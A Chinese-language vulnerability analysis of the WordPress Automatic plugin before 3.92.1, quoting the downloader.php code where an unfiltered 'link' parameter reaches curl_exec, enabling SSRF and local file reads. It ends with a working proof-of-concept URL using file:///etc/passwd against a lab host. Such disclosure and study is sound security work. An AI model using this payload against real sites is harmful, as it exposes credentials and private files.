WordPress Automatic 插件<3.92.1易受未经验证的任意文件下载和SSRF的攻击。位于downloader.php文件中,可能允许攻击者从网站访问任何文件。敏感数据,包括登录凭据和备份文件。此漏洞已在3.92.1版本中修补。
漏洞分析
定位文件 \wp-automatic\downloader.php
function curl_exec_follow( &$ch){$max_redir = 3;for ($i=0;$i<$max_redir;$i++){$exec=curl_exec($ch);$info = curl_getinfo($ch);if($info['http_code'] == 301 || $info['http_code'] == 302 || $info['http_code'] == 307 ){curl_setopt($ch, CURLOPT_URL, wp_automatic_trim($info['redirect_url']));$exec=curl_exec($ch);}else{//no redirect just returnbreak;}}return $exec;}$link=$_GET['link'];//urldecode();$link=wp_automatic_str_replace('httpz','http',$link);//$link='http://ointmentdirectory.info/%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%81%E0%B8%AA%E0%B8%94%E0%B8%87%E0%B8%A0%E0%B8%B2%E0%B8%9E%E0%B8%99%E0%B8%B4%E0%B9%88%E0%B8%87-%E0%B8%97%E0%B8%AD%E0%B8%94%E0%B8%9B%E0%B8%A5%E0%B8%B2%E0%B9%80%E0%B8%9E';// echo $link ;//exit ;$ch = curl_init();curl_setopt($ch, CURLOPT_URL, wp_automatic_trim($link));curl_setopt($ch, CURLOPT_HEADER, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);curl_setopt($ch,CURLOPT_TIMEOUT, 30);curl_setopt($ch, CURLOPT_REFERER, 'http://bing.com');curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');curl_setopt($ch,CURLOPT_MAXREDIRS, 5); // Good leeway for redirections.curl_setopt($ch,CURLOPT_FOLLOWLOCATION, 0); // Many login forms redirect at least once.$exec=curl_exec_follow($ch);
我们看到了一个敏感函数curl_exec,经常做代码审计的都知道这个函数除了可以发送http外它还支持file协议,也就是说我也可以利用file协议达到本地文件读取的目的,正好下方get传参的‘link’就是我们可控的变量,wp_automatic_trim函数只是进行了trim,没有任何过滤 。
接下来只需找到访问这段代码的url形式,控制link变量即可。关于这点可以分析源码,看使用手册,可以打断电调试,可以大胆猜测从开发者的角度.....
漏洞复现
插件安装好 发送如下payload
http://192.168.160.128/?p=3232&wp_automatic=download&link=file:///etc/passwd